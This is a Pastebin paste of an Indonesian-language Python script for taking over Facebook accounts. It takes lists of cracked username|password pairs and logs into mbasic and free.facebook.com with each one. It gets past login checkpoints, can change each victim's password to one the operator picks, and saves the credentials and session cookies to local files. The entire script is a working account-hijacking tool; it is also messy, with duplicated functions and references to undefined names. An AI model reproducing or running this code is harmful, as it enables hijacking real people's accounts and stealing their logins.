Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #ASTAGFIRULLAH JEBOL
- import requests,json,os,sys,random,datetime,time,re,platform
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
- from concurrent.futures import ThreadPoolExecutor as tred
- from time import sleep as waktu
- ###----------[ GLOBAL NAMA ]----------###
- id,id2,uid = [],[],[]
- tokenefb = []
- akunyeh = []
- ugen = []
- loop,baz = 0,[]
- ok,cp,oo = 0,0,[]
- usragent = []
- ###----------[ USER AGENT ]----------###
- P = '\x1b[1;97m'
- M = '\x1b[1;91m'
- H = '\x1b[1;92m'
- K = '\x1b[1;93m'
- B = '\x1b[1;94m'
- U = '\x1b[1;95m'
- O = '\x1b[1;96m'
- N = '\x1b[0m'
- Z = "\033[1;30m"
- sir = '\033[41m\x1b[1;97m'
- x = '\33[m' # DEFAULT
- m = '\x1b[1;91m' #RED +
- k = '\033[93m' # KUNING +
- h = '\x1b[1;92m' # HIJAU +
- hh = '\033[32m' # HIJAU -
- u = '\033[95m' # UNGU
- kk = '\033[33m' # KUNING -
- b = '\33[1;96m' # BIRU -
- p = '\x1b[0;34m' # BIRU +
- mer = '\033[1;31m'
- kun = '\033[1;33m'
- hijo = '\033[1;32m'
- biru = '\033[1;34m'
- ung = '\033[1;35m'
- puti = '\033[1;37m'
- bira = '\033[1;36m'
- xxx = '\33[m'
- ###----------[ CONVERT BULAN ]----------###
- rb = {'1':'Januari','2':'Februari','3':'Maret','4':'April','5':'Mei','6':'Juni','7':'Juli','8':'Agustus','9':'September','10':'Oktober','11':'November','12':'Desember'}
- tg = datetime.datetime.now().day
- bl = rb[(str(datetime.datetime.now().month))]
- th = datetime.datetime.now().year
- okh = 'OK-'+str(tg)+'-'+str(bl)+'-'+str(th)+'.txt'
- cph = 'CP-'+str(tg)+'-'+str(bl)+'-'+str(th)+'.txt'
- import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
- import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
- from concurrent.futures import ThreadPoolExecutor
- from bs4 import BeautifulSoup as parser
- from threading import (Thread, Event)
- from time import sleep as jeda
- from datetime import datetime
- ct = datetime.now()
- n = ct.month
- bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
- try:
- if n < 0 or n > 12:
- exit()
- nTemp = n - 1
- except ValueError:
- exit()
- current = datetime.now()
- hari = current.day
- bulan = bulan_[nTemp]
- tahun = current.year
- bullan = current.month
- waktu = ("%s-%s-%s"%(hari,bulan,tahun))
- bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- P = '\x1b[1;97m' # PUTIH
- J = '\033[38;2;255;127;0;1m' # ORANGE
- N = '\x1b[0m' # WARNA MATI
- acak = [M, H, K, B, U, O, P, J]
- warna = random.choice(acak)
- til ="\033[0m╰─ "
- def jalan(keliling):
- for mau in keliling + '\n':
- sys.stdout.write(mau)
- sys.stdout.flush();jeda(0.03)
- ubah_pass = []
- pwbaru = []
- pwBaru = []
- ubahP = []
- ###----------[ UNTUK ANIMASI ]----------###
- def baz_anim(berjalan):
- for gas in berjalan + "\n":sys.stdout.write(gas);sys.stdout.flush();time.sleep(0.05)
- def baz_bann(berjalan):
- for gas in berjalan + "\n":sys.stdout.write(gas);sys.stdout.flush();time.sleep(0.01)
- ###----------[ BANNER MENUH ]----------###
- def banner():
- print('''
- \x1b[1;91m____ ____ _ _ ___ _ _ _ ____ _ _
- |__/ |___ |\/| |__] | | | |__| |\ |
- \33[m| \ |___ | | |__] |__| |___ | | | \|
- ''')
- def menu():
- try:
- cok = open('.cookiesakun.txt','r').read()
- except IOError:
- baz_anim(f'{mer}cookies telah kadaluarsa ster')
- waktu(4)
- login_men()
- os.system('clear')
- banner()
- # os.system("xdg-open https://chat.whatsapp.com/DJ2RWBRMTQDKJkBd5UfRai")
- print(f'{xxx}>> 1. cek mbasic.facebook')
- print(f'{xxx}>> 2. cek free.facebook')
- helpbas = input(f'{xxx}>> : ')
- if helpbas in ['1']:
- file_cp()
- elif helpbas in ['2']:
- file_cp1()
- else:
- baz_anim(f'{mer}└── yang bener lah ster')
- def file_cp():
- dirs = os.listdir('CP')
- print ("%s%s%s [%s\033[0mpilih hasil crack yg tersimpan untuk cek opsi %s]\n"%(U,til,O,U,O))
- for file in dirs:
- print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
- try:
- print(f'\n [{b}mbasic.facebook{x}]')
- print("\n%s%s%s\033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
- opsi()
- except IOError:
- print ('%s%s \033[0mfile tidak ada'%(M,til))
- exit()
- def opsi():
- CP = ("CP/")
- romi = input("%s%s%s \033[0mNama file %s> %s"%(U,til,O,M,K))
- if romi == "":
- print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
- opsi()
- try:
- file_cp = open(CP+romi, "r").readlines()
- except IOError:
- exit("\n%s%s \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
- jalan("%s%s%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
- pw=input("\n%s%s%s \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
- if pw in['y','Y']:
- ubah_pass.append("ubah_sandi")
- pw2 = input("%s%s%s \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
- if len(pw2) <= 5:
- print("%s%s sandi minimal 6 karakter "%(M,til))
- else:
- pwbaru.append(pw2)
- print("\n %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
- print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
- print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
- nomor = 0
- for fb in file_cp:
- akun = fb.replace("\n","")
- ngecek = akun.split("|")
- nomor+=1
- print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
- try:
- mengecek(ngecek[0].replace("",""), ngecek[1])
- except requests.exceptions.ConnectionError:
- continue
- print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
- input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
- back()
- data = {}
- data2 = {}
- def mengecek(user,pw):
- global loop,ubah_pass,pwbaru
- session=requests.Session()
- url = "https://mbasic.facebook.com"
- session.headers.update({"Host":"mbasic.facebook.com","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9","referer":"https://mbasic.facebook.com/","user-agent":"Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-G532G Build/MMB29T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/4.2 Chrome/44.0.2403.133 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]"})
- soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
- link=soup.find("form",{"method":"post"})
- for x in soup("input"):
- data.update({x.get("name"):x.get("value")})
- data.update({"email":user,"pass":pw})
- urlPost=session.post(url+link.get("action"),data=data)
- response=bs4.BeautifulSoup(urlPost.text, "html.parser")
- if "c_user" in session.cookies.get_dict():
- if "Akun Anda Dikunci" in urlPost.text:
- print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
- else:
- print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
- open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
- elif "checkpoint" in session.cookies.get_dict():
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- title=re.findall("\<title>(.*?)<\/title>",str(response))
- link2=response.find("form",{"method":"post"})
- listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
- for x in response("input"):
- if x.get("name") in listInput:
- data2.update({x.get("name"):x.get("value")})
- an=session.post(url+link2.get("action"),data=data2)
- response2=bs4.BeautifulSoup(an.text,"html.parser")
- cek=[cek.text for cek in response2.find_all("option")]
- number=0
- print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
- if(len(cek)==0):
- if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
- if "ubah_sandi" in ubah_pass:
- dat,dat2={},{}
- but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
- for x in response("input"):
- if x.get("name") in but:
- dat.update({x.get("name"):x.get("value")})
- ubahPw=session.post(url+link2.get("action"),data=dat).text
- resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
- link3=resUbah.find("form",{"method":"post"})
- but2=["submit[Next]","nh","fb_dtsg","jazoest"]
- if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
- for b in resUbah("input"):
- dat2.update({b.get("name"):b.get("value")})
- dat2.update({"password_new":"".join(pwbaru)})
- an=session.post(url+link3.get("action"),data=dat2)
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s "%(H,til,N,H,user,pwbaru[0],coki))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
- #cek_apk(coki)
- else:
- print("\r%s%s \033[0makun one tab, silahkan anda login "%(H,til))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
- #cek_apk(coki)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
- print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor "%(M))
- else:
- print("%s%s\033[0mterjadi kesalahan"%(M,til))
- else:
- if "c_user" in session.cookies.get_dict():
- print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
- for opsi in range(len(cek)):
- number +=1
- jalan (" %s%s. %s%s"%(P,str(number),K,cek[opsi]))
- elif "login_error" in str(response):
- oh = run.find("div",{"id":"login_error"}).find("div").text
- print("%s╰─ %s"%(M,oh))
- else:
- print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
- def file_cp1():
- dirs = os.listdir('CP')
- print ("%s%s%s [%s\033[0mpilih hasil crack yg tersimpan untuk cek opsi %s]\n"%(U,til,O,U,O))
- for file in dirs:
- print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
- try:
- print(f'\n [{h}free.facebook{x}]')
- print("\n%s%s%s\033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
- opsi()
- except IOError:
- print ('%s%s \033[0mfile tidak ada'%(M,til))
- exit()
- def opsi():
- CP = ("CP/")
- romi = input("%s%s%s \033[0mNama file %s> %s"%(U,til,O,M,K))
- if romi == "":
- print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
- opsi()
- try:
- file_cp = open(CP+romi, "r").readlines()
- except IOError:
- exit("\n%s%s \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
- jalan("%s%s%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
- pw=input("\n%s%s%s \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
- if pw in['y','Y']:
- ubah_pass.append("ubah_sandi")
- pw2 = input("%s%s%s \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
- if len(pw2) <= 5:
- print("%s%s sandi minimal 6 karakter "%(M,til))
- else:
- pwbaru.append(pw2)
- print("\n %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
- print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
- print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
- nomor = 0
- for fb in file_cp:
- akun = fb.replace("\n","")
- ngecek = akun.split("|")
- nomor+=1
- print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
- try:
- mengecek(ngecek[0].replace("",""), ngecek[1])
- except requests.exceptions.ConnectionError:
- continue
- print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
- input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
- login_baz()
- data = {}
- data2 = {}
- def mengecek(user,pw):
- global loop,ubah_pass,pwbaru
- session=requests.Session()
- url = "https://free.facebook.com"
- session.headers.update({"Host":"free.facebook.com","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","accept-encoding":"gzip, deflate","accept-language":"id-ID,id;q=0.9","referer":"https://free.facebook.com/","user-agent":"Mozilla/5.0 (Linux; U; Android 6.0.1; Redmi 4X Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]"})
- soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
- link=soup.find("form",{"method":"post"})
- for x in soup("input"):
- data.update({x.get("name"):x.get("value")})
- data.update({"email":user,"pass":pw})
- urlPost=session.post(url+link.get("action"),data=data)
- response=bs4.BeautifulSoup(urlPost.text, "html.parser")
- if "c_user" in session.cookies.get_dict():
- if "Akun Anda Dikunci" in urlPost.text:
- print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
- else:
- print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
- open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
- elif "checkpoint" in session.cookies.get_dict():
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- title=re.findall("\<title>(.*?)<\/title>",str(response))
- link2=response.find("form",{"method":"post"})
- listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
- for x in response("input"):
- if x.get("name") in listInput:
- data2.update({x.get("name"):x.get("value")})
- an=session.post(url+link2.get("action"),data=data2)
- response2=bs4.BeautifulSoup(an.text,"html.parser")
- cek=[cek.text for cek in response2.find_all("option")]
- number=0
- print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
- if(len(cek)==0):
- if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
- if "ubah_sandi" in ubah_pass:
- dat,dat2={},{}
- but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
- for x in response("input"):
- if x.get("name") in but:
- dat.update({x.get("name"):x.get("value")})
- ubahPw=session.post(url+link2.get("action"),data=dat).text
- resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
- link3=resUbah.find("form",{"method":"post"})
- but2=["submit[Next]","nh","fb_dtsg","jazoest"]
- if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
- for b in resUbah("input"):
- dat2.update({b.get("name"):b.get("value")})
- dat2.update({"password_new":"".join(pwbaru)})
- an=session.post(url+link3.get("action"),data=dat2)
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s "%(H,til,N,H,user,pwbaru[0],coki))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
- #cek_apk(coki)
- else:
- print("\r%s%s \033[0makun one tab, silahkan anda login "%(H,til))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
- #cek_apk(coki)
- elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
- print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor "%(M))
- else:
- print("%s%s\033[0mterjadi kesalahan"%(M,til))
- else:
- if "c_user" in session.cookies.get_dict():
- print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
- open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
- for opsi in range(len(cek)):
- number +=1
- jalan (" %s%s. %s%s"%(P,str(number),K,cek[opsi]))
- elif "login_error" in str(response):
- oh = run.find("div",{"id":"login_error"}).find("div").text
- print("%s╰─ %s"%(M,oh))
- else:
- print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
- if __name__=='__main__':
- try:os.mkdir('OK')
- except:pass
- try:os.mkdir('CP')
- except:pass
- menu()
Add Comment
Please, Sign In to add comment